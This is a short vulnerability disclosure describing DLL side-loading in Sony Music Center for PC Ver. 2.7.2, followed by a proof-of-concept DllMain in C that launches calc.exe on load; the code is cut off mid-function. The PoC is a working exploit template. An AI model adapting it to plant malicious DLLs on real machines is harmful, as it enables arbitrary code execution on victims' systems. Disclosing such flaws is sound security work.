DLL side-loading vulnerability in Sony Music Center for PC Ver. 2.7.2 (Latest version)

**Overview** The application insecurely searches for the missing DLL file in system PATH environment, allowing an attacker with access to victim's local machine host to achieve arbitrary code execution by implanting a malicious DLL file in any PATH environment.

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            system("calc.exe"); 
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH: …